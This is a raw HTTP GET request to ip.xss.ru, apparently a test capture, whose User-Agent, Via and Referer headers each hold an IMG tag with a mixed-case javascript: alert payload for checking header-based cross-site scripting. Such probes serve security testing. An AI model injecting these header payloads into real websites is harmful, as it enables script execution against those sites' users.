GET http://ip.xss.ru/header.php HTTP/1.1 Accept: */* Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Accept-Encoding: gzip,deflate Accept-Language: en-us,en;q=0.5 Connection: keep-alive Host: ip.xss.ru Keep-Alive: 300 User-Agent: <IMG SRC="javasCript:alert('User-Agent - client side script works!!')"> Via: <IMG SRC="javasCript:alert('Via - client side script works!!')"> Referer: <IMG SRC="javasCript:alert('Referer - client side script works!!')">